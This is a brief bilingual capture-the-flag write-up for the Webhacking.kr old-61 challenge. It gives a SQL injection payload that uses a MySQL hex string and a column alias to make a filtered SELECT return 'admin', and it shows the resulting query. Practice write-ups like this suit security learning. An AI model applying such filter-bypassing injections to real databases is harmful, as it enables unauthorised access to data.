Webhacking.kr old-61

Challenge

Make the selected expression evaluate to the admin string.

让 SELECT 表达式返回 admin。

1
https://webhacking.kr/challenge/web-38/

Analysis

id 被直接插入 SELECT 列表达式。括号、逗号、点号和若干关键词会被过滤,长度限制为 15;MySQL 十六进制字符串可以在不使用引号的情况下表示 admin。在表达式后加空格和列别名 id,结果字段名就是题目检查的 id。

Solution

请求参数为:

1
?id=0x61646d696e%20id

解码后,服务端执行的关键查询为:

1
2
3
4
SELECT 0x61646d696e id
FROM chall61
ORDER BY id DESC
LIMIT 1

0x61646d696e 解码为 admin,别名使返回列名为 id。